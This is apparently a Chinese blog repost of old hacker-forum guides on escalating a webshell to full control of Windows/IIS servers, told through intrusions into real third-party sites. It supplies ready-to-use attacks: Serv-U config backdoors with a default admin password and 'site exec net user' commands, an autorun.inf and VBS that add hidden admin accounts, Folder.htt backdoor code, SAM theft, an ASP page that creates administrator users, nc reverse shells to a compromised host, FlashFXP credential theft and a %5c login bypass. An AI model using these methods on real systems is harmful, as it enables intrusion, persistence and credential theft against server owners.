当前位置 博文首页 > 超全的webshell权限提升方法

    超全的webshell权限提升方法

    作者:admin 时间:2021-08-20 17:44

    WEBSHELL权限提升技巧 
    c: d: e:..... 
    C:\Documents and Settings\All Users\「开始」菜单\程序\ 
    看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径, 
    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 
    看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码,登陆 
    c:\Program Files\serv-u\ 
    C:\WINNT\system32\config\ 
    下它的SAM,破解密码 
    c:\winnt\system32\inetsrv\data\ 
    是erveryone 完全控制,很多时候没作限制,把提升权限的工具上传上去,然后执行 
    c:\prel 
    C:\Program Files\Java Web Start\ 
    c:\Documents and Settings\ 
    C:\Documents and Settings\All Users\ 
    c:\winnt\system32\inetsrv\data\ 
    c:\Program Files\ 
    c:\Program Files\serv-u\ 
    C:\Program Files\Microsoft SQL Server\ 
    c:\Temp\ 
    c:\mysql\(如果服务器支持PHP) 
    c:\PHP(如果服务器支持PHP) 
    运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限 
    还可以用这段代码试提升,好象不是很理想的 
    如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。 
    根目录下隐藏autorun.inf 
    C:\PROGRAM FILES\KV2004\ 绑 
    D:\PROGRAM FILES\RISING\RAV\ 
    C:\Program Files\Real\RealServer\ 
    rar 
    Folder.htt与desktop.ini 
    将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下 
    replace 替换法 捆绑 
    脚本 编写一个启动/关机脚本 重起 
    删SAM :( 错 
    CAcls命令 
    FlashFXP文件夹Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak 
    Ring的权限提升21大法! 
    以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过 
    的。本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结。希望对朋友有帮助! 
    1.radmin连接法 
    条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去 
    。本人从来米成功过。,端口到是给对方打开了。 
    2.paanywhere 
    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF 
    文件,在本地安装pcanywhere上去 
    3.SAM破解 
    C:\WINNT\system32\config\ 下他的SAM 破解之 
    4.SU密码夺取 
    C:\Documents and Settings\All Users\「开始」菜单\程序\ 
    引用:Serv-U,然后本地查看属性,知道路径后,看能否跳转 
    进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空 
    [USER=WekweN|1] 
    Password= 
    HomeDir=c:\ 
    TimeOut=600 
    Maintenance=System 
    Access1=C:\|RWAMELCDP 
    Access1=d:\|RWAMELCDP 
    Access1=f:\|RWAMELCDP 
    SKEYvalues= 
    这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限 
    5.c:\winnt\system32\inetsrv\data\ 
    引用:就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去, 
    然后执行 
    6.SU溢出提权 
    这个网上教程N多 不详细讲解了 
    7.运行Csript 
    引用:运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提 
    升权限 
    用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps 
    查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 
    再将asp.dll加入特权一族 
    asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样) 
    我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" 
    "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" 
    "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32 
    \inetsrv\asp.dll" 
    可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了 8.脚本提权 
    c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs 
    9.VNC 
    这个是小花的文章 HOHO 
    默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password 
    我们可以用vncx4 
    破解它,vncx4使用很简单,只要在命令行下输入 
    c:\>vncx4 -W 
    然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。 
    10.NC提权 
    给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了 
    11.社会工程学之GUEST提权 
    很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜 可能用户密码一样 也可能是他QQ号 邮 
    箱号 手机号 尽量看看 HOHO 
    12.IPC空连接 
    如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令 
    13.替换服务 
    这个不用说了吧?个人感觉相当复杂 
    14.autorun .inf 
    autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信 
    他不运行 
    15.desktop.ini与Folder.htt 
    引用:首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择"自定义 
    文件夹"(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder 
    setting的文件架与desktop.ini的文件,(如果你看不到,先取消"隐藏受保护的操作系统文件")然后 
    我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码: <OBJECT 
    ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的后门文件名"> 
    </OBJECT> 然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方 
    任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门 
    16.su覆盖提权 
    本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重 
    起一下Serv-U,于是你上面的所有配置都与他的一模一样了 
    17.SU转发端口 
    43958这个是 Serv -U 的本地管理端口。FPIPE.exe上传他,执行命令: Fpipe –v –l 3333 –r 
    43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个 
    服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的 
    Serv-u了 
    18.SQL帐户密码泄露 
    如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的 
    ASP文件中看到),因为MSSQL是默认的SYSTEM权限。 
    引用:对方没有删除xp_cmdshell 方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass 
    中填入你所得到的用户名与密码。format选择xp_cmdshell"%s"即可。然后点击connect,连接上后就可 
    以在CMD一栏中输入你想要的CMD命令了 
    19.asp.dll 
    引用:因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同 

    我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" 
    "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" 
    "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32 
    \inetsrv\asp.dll" 
    好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去 
    了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到 
    C:\Inetpub\AdminScripts>这个目录下. 
    那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把 
    asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东. 
    20.Magic Winmail 
    前提是你要有个webshell 引用:http://www.eviloctal.com/forum/read.php?tid=3587这里去看吧 
    21.DBO…… 
    其实 提升权限的方式很多的 就看大家怎么利用了 HOHO 加油吧 将服务器控制到底! 
    感谢noangel 
    WEBSHELL权限提升 
    动网上传漏洞,相信大家拿下不少肉鸡吧,但是都是WEBSHELL,不能拿到系统权限,要如何拿到系统权限呢?这正是我们这次要讨论的内容 
    OK,进入我的WEBSHELL 
    啊哈,不错,双CPU,速度应该跟的上,不拿下你我怎么甘心啊 
    输入密码,进入到里面看看,有什么好东西没有,翻了下,好像也没有什么特别的东西,看看能不能进到其他的盘符,点了下C盘,不错不错,可以进去,这样提升就大有希望了 
    一 serv-u提升 
    OK,看看他的PROGRAME里面有些什么程序,哦,有SERV-U,记得有次看到SERV-U有默认的用户名和密码,但是监听的端口是43958,而且是只有本地才能访问的,但是我们有端口转发工具的啊,不怕。先看看他的SERV-U的版本是多少,telnet XXX.XXX.XXX.XXX 21 
    显示竟然是3.0的,唉,不得不说这个管理员真的不称职。后来完毕后扫描了下,也只有FTP的洞没有补。既然是这样,我们就开始我们的提升权限了 
    上传FPIPE,端口转发工具, 图三 
    在运行CMD命令里输入d:\\wwwroot\\fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本机的43598端口转发到81端口 
    然后打开我们自己机子上的SERV-U,点Serv-U服务器,点菜单栏上的的服务器,点新建服务器,然后输入IP,输入端口,记得端口是刚刚我们转发的 81端口。服务名称随便你喜欢,怎么样都行。然后是用户名:LocalAdministrator 密码:#l@$ak#.lk;0@P (密码都是字母) 
    确定,然后点刚刚建的服务器,然后就可以看到已有的用户,自己新建一个用户,把所有权限加上。也不锁定根目录 
    接下来就是登陆了,登陆FTP一定要在CMD下登陆, 
    进入后一般命令和DOS一样,添加用户的时候 
    ftp>quote site exec net.exe user hk pass /add 
    ftp>quote site exec net.exe localgroup administrators hk/add 
    如果对方开了3389的话,就不用我教你怎么做了,没开的话,新建立IPC连接,在上传木马或者是开启3389的工具 
    二 
    auto.ini 加 SHELL.VBS 
    autorun.inf 
    [autorun] 
    open=shell.vbs 
    shell.vbs 
    dim wsh 
    set wsh=createObject("WScript.Shell") 
    wsh.run "net user guest /active:yes",0 
    wsh.run "net user guest 520ls",0 
    wsh.run "net localgroup administrators guest /add",0 
    wsh.run "net user hkbme 520ls /add",0 
    wsh.run "net localgroup administrators hkbme /add",0 
    wsh.run "cmd.exe /c del autorun.inf",0 
    wsh.run "cmd.exe /c del shell.vbs",0 
    但是这样要可以访问到对方的根目录。将这两个文件放到对方硬盘的根目录下。当然你也可以直接执行木马程序,还要一个木马程序,但是语句就和最后两句一样,通过CMD执行木马程序 
    三 
    Folder.htt与desktop.ini 
    将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下,觉得一个不够,可以多放几个 
    Folder.htt添加代码 
    <OBJECT ID="RUNIT" WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="你的后门文件名"> 
    </OBJECT> 
    但是后门和这两个文件必须要放到一块,有点问题,可以结合启动VBS,运行结束后,删除上传的后门.就是CODEBASE="shell.vbs".shell写法如上 
    四 
    replace 
    替换法,可以替换正在执行的文件。用这个几乎可以马上得到权限,但是我没有做过试验,可以试下,将对方正在执行的文件替换为和它文件名一样的,捆绑了木马的。为什么不直接替换木马呢?如果替换的是关键程序,那不是就直接挂了?所以还是捆绑好点 
    格式 
    REPLACE [drive1:][path1]filename [drive2:][path2] [/A] 
    [/R] [/W] 
    REPLACE [drive1:][path1]filename [drive2:][path2] 
    [/R] [/S] [/W] 
     [drive1:][path1]filename 指定源文件。 
     [drive2:][path2] 指定要替换文件的 
                  目录。 
     /A 把新文件加入目标目录。不能和 
                  /S 或 /U 命令行开关搭配使用。 
     /P 替换文件或加入源文件之前会先提示您 
                  进行确认。 
     /R 替换只读文件以及未受保护的 
                  文件。 
     /S 替换目标目录中所有子目录的文件。 
                  不能与 /A 命令选项 
                  搭配使用。 
     /W 等您插入磁盘以后再运行。 
     /U 只会替换或更新比源文件日期早的文件。 
                  不能与 /A 命令行开关搭配使用 
    这个命令没有试验过,看能不能替换不能访问的文件夹下的文件,大家可以试验下 
    五 
    脚本 
    编写一个启动/关机脚本配置文件scripts.ini,这个文件名是固定的,不能改变。内容如下: 
    [Startup] 
    0CmdLine=a.bat 
    0Parameters= 
    将文件scripts.ini保存到"C:\\winnt\\system32\\GroupPolicy\\Machine\\Scripts" 
    A.BAT的内容可以是NET USER yonghu mima 
    也可以是NET USER ADMINistrator XXX 
    这样可以恢复你想要得任意用户名的密码,也可以自己增加新的用户,但是要依赖重启,还有就是对SYSTEM32有写的权限 
    六 
    SAM 
    如果可以访问对方的SYSTEM32的话,删除对方的SAM文件,等他重启以后就是ADMIN用户密码为空 
    突然又有了想法,可以用REPLACE命令替换的吗,可以把你的SAM文件提取出来,上传到他的任意目录下,然后替换。不过不知道如果对SYSTEM32没有权限访问的话,能不能实现替换 
    -------------------------------------------------------------------------------- 
    -- 
    -- 
    使用FlashFXP来提升权限 最近各位一定得到不少肉鸡吧:),从前段时间的动网的upfile漏洞, 动力文章系统最新漏洞到first see发现的动网sql版本的一个超级大漏洞。有人一定忙的不易乐乎,大家的方法也不过是使用一下asp脚本的后门罢了。至于提 升权限的问题呵呵,很少有人能作一口气完成。关键还是在提升权限上做个问题上,不少服务器设置的很BT,你的asp木马可能都用不了,还那里来的提升啊。我们得到webshell也就是个低级别的用户的权限,各种提升权限方法是可谓五花八门啊,如何提升就看你自己的妙 招了。 
    其一,如果服务器上有装了pcanywhere服务端,管理员为了便于管理也给了我们方便,到系统盘的Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了。 
    其二,如果对方有Serv-U大家不要骂我啊,通过修改ServUDaemon.ini和fpipe这软件提升权限应该是不成问 题吧。 
    其三,通过替换系统服务来提升。 
    其四,查找conn和config这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等等。 
    本人在一次无聊的入侵过程中发现了这个方法,使用Flashfxp也能提升权限,但是成功率高不高就看你自己的运气了:) 
    本人www.xxx.com 通过bbs得到了一个webshell,放了个小马(现在海阳的名气太大了偶不敢放),而且已经将一段代码插入了N个文件中,够黑吧。提升权限没时间做。在我放假回家后,一看我晕bbs升级到动网sp2了我放的小马也被K了,人家的BBS是access版本的。郁闷啊!突然想起我将一个页面插入了asp的后门,看看还有没有希望了。输www.xxx.com/xx.asp?id =1 好家伙,还在!高兴ing 
    图1 
    于是上传了一个asp的脚本的后门,怎么提升权限呢? 
    在这个网站的主机上游荡了N分钟,在C:\\ Program Files下发现了FlashFXP文件夹(跟我一样使用这个软件自己心里暗想)图2,于是就打了了Sites. dat这个文件(编辑)这是什么东西密码和用户名,而且密码是加了密的。 
    如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件会怎么样呢? 
    于是我就将Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak几个文件下载到我的计算机中替换了我电脑中flashfxp文件夹的相应文件。打开flashfxp 在站点中打开站点管理器一项。乖 乖发财了 
    对方管理员通过flashfxp连接的各个站点都在图3,点击连接。通过了于是我们又有了一堆肉鸡,我们有ftp权限。上传脚本 木马~ 呵呵。 
    说了半天这提升权限的事情一点没讲啊 
    不要急,大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。可惜啊! 
    又想起了在Sites.dat中也显示了密码和用户名,而且密码是加密的。 
    现在的星号密码会不会也是加了密的?看看就行了呗。 
    怎么看? 菜鸟了吧 手头有个不错的查看星号的软件,就是xp星号密码查看器,通过查看跟Sites.dat中加密了密码做比较。看图4和图5 的比较 很显然在站点管理器中查看到的密码是明文显示的。发财了吧 
    下一步就是使用xp星号密码查看器这个软件来提取密码和用户名。看者这些复杂的密码,还真有点怀念当年玩sniff的时光。呵呵 
    密码为:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+ 
    用户名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69 
    (上述部分密码和用户名已经作了必要的修改) 
    这么多的信息,按社会工程学的概念来说,没有管理员的密码。打死我也不相信。最终我得到了这个网站管理员的密码从这堆东西中找到 的。 
    我想这个问题应该反馈到flashfxp官方,让他们在下个版本中修正这个漏洞或者说是错误。经过后来测试只要把含有密码和用户名的Sites.dat文件替换到本地相应的文件就可以在本地还原对方管理员的各个站点的密码。希望大家在入侵的时候遇到fla shfxp的时候能想到这个方法,至少也可以得到一堆新的肉鸡。不防试试?希望能给大家渗透带来帮助。 
    -------------------------------------------------------------------------------- 
    -- 
    -- 
    将asp权限提到最高by: cnqing from:http://friend.91eb.com 
    本来是要写个提权asp木马的,可惜时间不是太多功底也不是太深。先把原理方法告诉大家好了。简单说说,说的太麻烦没有必要。懂了就行。 
    原理: 
    asp文件的教本解释是由asp.dll运行的。由dllhost.exe启动的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接启动。身份是system 
    方法: 
    第一步。 
    得到inprocesslsapiapps内容,用命令"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"。将得到的一组dll复制下来。 
    第二步 
    写一个bat内容为"cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" ····· 
    省略号为复制下的内容。中间用空格分开不要带回车符 
    最后运行这个bat就行了。 
    例如: 
    我用"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"得到 
    "c:\\winnt\\system32\\inetsrv\\httpext.dll" 
    "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" 
    "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" 
    "C:\\WINNT\\System32\\msw3prt.dll" 
    "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" 
    "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" 
    "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll" 
    那么你的bat就应该是: 
    cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" "c:\\winnt\\system32\\inetsrv\\httpext.dll" "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\System32\\msw3prt.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll" 
    已测试成功!! 
    -------------------------------------------------------------------------------- 
    -- 
    -- 
    利用%5c绕过验证 
    利用%5c绕过验证 
    --------------------------------------- 
    lake2(http://mrhupo.126.com) 
    2004-11-27 
    --------------------------------------- 
    说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。 
    好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429 
    N 年以前利用这个漏洞可以实现目录遍历,虽然微软出了补丁,不过好像补丁是用来限制iis只能访问虚拟目录的,所以漏洞还是存在,只不过利用方式变了。对 iis来说,提交一个含有%5c的url能够找到文件,但是该文件里以相对路径引用的其他文件却找不到了(%5c是\\的url编码,iis跳转到上一级目录去找,当然找不到;头晕了吧,哈哈,我也头晕啊)。 
    后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。 
    一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。 
    废话少说,看下面的代码: 
    <!--#INCLUDE file="conn.asp" --> 
    <% 
    guest_user=trim(request("guest_user")) 
    guest_password=trim(request("guest_password")) 
    Set rs= Server.createObject("ADODB.Recordset") 
    sql="select * from admin where id=1" 
    rs.open sql,conn,3,2 
    readuser=rs("guest_user") 
    readpassword=rs("guest_password") 
    if readuser<>guest_user or readpassword<>guest_password then 
    response.write "请输入正确地管理员密码!" 
    response.end 
    else 
    session("admin")=1 \'登陆后写入seesion中保存 
    response.write("登陆成功,请返回信息页") 
    end if 
    %> 
    看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码: 
    <% 
    on error resume next 
    set conn=server.createobject("adodb.connection") 
    DBPath = Server.MapPath("guestbook.asp") 
    conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath 
    %> 
    啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了! 
    知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。 
    诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。 
    既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的"洞"网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段: 
    If Err Then 
    err.Clear 
    Set Conn = Nothing 
    Response.Write "数据库连接出错,请检查连接字串。" 
    Response.End 
    End If 
    数据库找不到程序就结束了,呵呵,空欢喜一场。 
    接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。 
    我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。 
    总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录 
    至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^ 
    -------------------------------------------------------------------------------- 
    -- 
    -- 
    添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞] 
    作者:蓝屏,凯文 文章来源:冰点极限 
    其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛). 
    上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯``` 
    反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。 
    <head>.network对象脚本权限提升漏洞利用工具</head> 
    <form action="useradd.asp" method=post> 
    用户:<input name="username" type="text" value="kevin1986"><br> 
    密码:<input name="passwd" type="password"><br> 
    <input type="submit" value="添 加"> 
    </form> 
    <%@codepage=936 
    on error resume next 
    if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then 
    response.write "iP !s n0T RiGHt" 
    else 
    if request("username")<>"" then 
    username=request("username") 
    passwd=request("passwd") 
    Response.Expires=0 
    Session.TimeOut=50 
    Server.ScriptTimeout=3000 
    set lp=Server.createObject("WSCRIPT.NETWORK") 
    oz="WinNT://"&lp.ComputerName 
    Set ob=GetObject(oz) 
    Set oe=GetObject(oz&"/Administrators,group") 
    Set od=ob.create("user",username) 
    od.SetPassword passwd 
    od.SetInfo 
    oe.Add oz&"/"&username 
    if err then 
    response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……" 
    else 
    if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then 
    response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧" 
    else 
    Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了" 
    end if 
    end if 
    else 
    response.write "请输入输入用户名" 
    end if 
    end if 
    %> 
    如何绕过防火墙提升权限 
    本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。 
    废话少说,咱们进入正题。 
    首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp是自由动力3.6文章系统。Xr运用 WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。 
    测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些垃圾文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。 
    思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。 
    传上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D: \\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。 
    可以浏览D:\\program files\\serv-u\\ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。 
    不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是 FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:\\,运行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。 
    我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传 n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。) 
    高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:\\long\\sun***\\lemon,再用刚才nc得到的 shell把它们copy到d:\\winnt\\system32\\下,分别运行:r_server /install , net start r_server , r_server /pass:rain /save 。 
    一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的思路又回到了serv-u上了。把他的 ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:\\program files\\serv-u\\里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生 530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。) 
    不管了,我们重启serv-u就ok 了,怎么重启呢,开始想用shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:\\program files\\serv-u\\ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。 
    好了,到这里,我们直接ftp上去吧,ls一下,哈哈,系统盘在我的掌握下。我们能不能运行系统命令呢?是可以的,这样就可以: 
    ftp>quote site exec net user xr rain /add 
    在webshell上运行net user,就可以看见添加成功了。 
    下一篇:没有了